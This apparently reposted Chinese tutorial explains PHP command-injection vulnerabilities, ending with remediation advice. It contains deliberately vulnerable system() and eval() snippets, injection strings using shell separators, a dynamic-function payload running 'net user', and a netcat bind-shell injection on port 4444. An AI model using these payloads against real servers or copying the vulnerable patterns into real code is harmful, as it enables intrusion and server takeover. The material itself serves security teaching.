命令执行漏洞

命令执行

应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、
passthru、popen、proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系统命令
拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。

 

利用条件

    1.应用调用执行系统命令的函数
    2.将用户输入作为系统命令的参数拼接到了命令行中
    3.没有对用户输入进行过滤或过滤不严

 

漏洞分类

    1 代码层过滤不严
    2 商业应用的一些核心代码封装在二进制文件中,在web应用中通过system函数来调用:
    3 system("/bin/program --arg $arg");
    4 系统的漏洞造成命令注入
    5 bash破壳漏洞(CVE-2014-6271)
    6 调用的第三方组件存在代码执行漏洞
    7 如WordPress中用来处理图片的ImageMagick组件
    8 JAVA中的命令执行漏洞(struts2/ElasticsearchGroovy等)
    9 ThinkPHP命令执行

 

漏洞危害

   1 继承Web服务程序的权限去执行系统命令或读写文件
   2 反弹shell
   3 控制整个网站甚至控制服务器
   4 进一步内网渗透

 

漏洞可能代码(以system为例)

1. system("$arg");  //直接输入即可
2. system("/bin/prog $arg");  //直接输入;ls
3. system("/bin/prog -p $arg");  //和2一样
4. system("/bin/prog --p=\"$arg\"");  //可以输入";ls;"
5. system("/bin/prog --p='$arg'");  //可以输入';ls;'

 

在Linux上,上面的;也可以用|、||代替
    ;前面的执行完执行后面的
    |是管道符,显示后面的执行结果
    ||当前面的执行出错时执行后面的

在Windows上,不能用;可以用&、&&、|、||代替
    &前面的语句为假则直接执行后面的
    &&前面的语句为假则直接出错,后面的也不执行
    |直接执行后面的语句
    ||前面出错执行后面的

 

漏洞示例

示例一

php
$arg = $_GET['cmd'];
if ($arg) {
system("$arg");
}
?>

 

示例二

php
    $arg = $_GET['cmd'];
    if ($arg) {
        system("ping -c 3 $arg");
    }
?>

 

示例三

php
$arg = $_GET['cmd'];
if ($arg) {
system("ls -al "$arg"");
}

注:若引号被转义,则可以用\`id\`来执行

 

示例四

php
    $arg = $_GET['cmd'];
    if ($arg) {
        system("ls -al '$arg'");
    }
?>

 

漏洞利用

  • 代码执行:
    在cmd.php中的代码如下:
php
    eval($_REQUEST['code']);
?>

 提交http://localhost/cmd.php?code=phpinfo() 后就会执行phpinfo()

 

  • 动态函数调用
    在cmd.php中的代码如下:
php
    $fun = $_GET['fun'];
    $par = $_GET['par'];
    $fun($par);
?>

 提交http://localhost/cmd.php?fun=system&par=net user,最终执行的是system("net user")

 

  • linux反弹一个shell

 

提交参数: 

x;mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe 

 

然后连接: 

nc remote.ip 4444

 

 

漏洞修复

  1. 尽量少用执行命令的函数或者直接禁用
  2. 参数值尽量使用引号包括
  3. 在使用动态函数之前,确保使用的函数是指定的函数之一
  4. 在进入执行命令的函数/方法之前,对参数进行过滤,对敏感字符进行转义
php
    $arg = $_GET['cmd'];
    // $arg = addslashes($arg);
    $arg = escapeshellcmd($arg);  //拼接前就处理
    if ($arg) {
        system("ls -al '$arg'");
    }
?>

 

 

转载于:https://www.cnblogs.com/demonxian3/p/8266810.html

你可能感兴趣的:(shell,操作系统,php)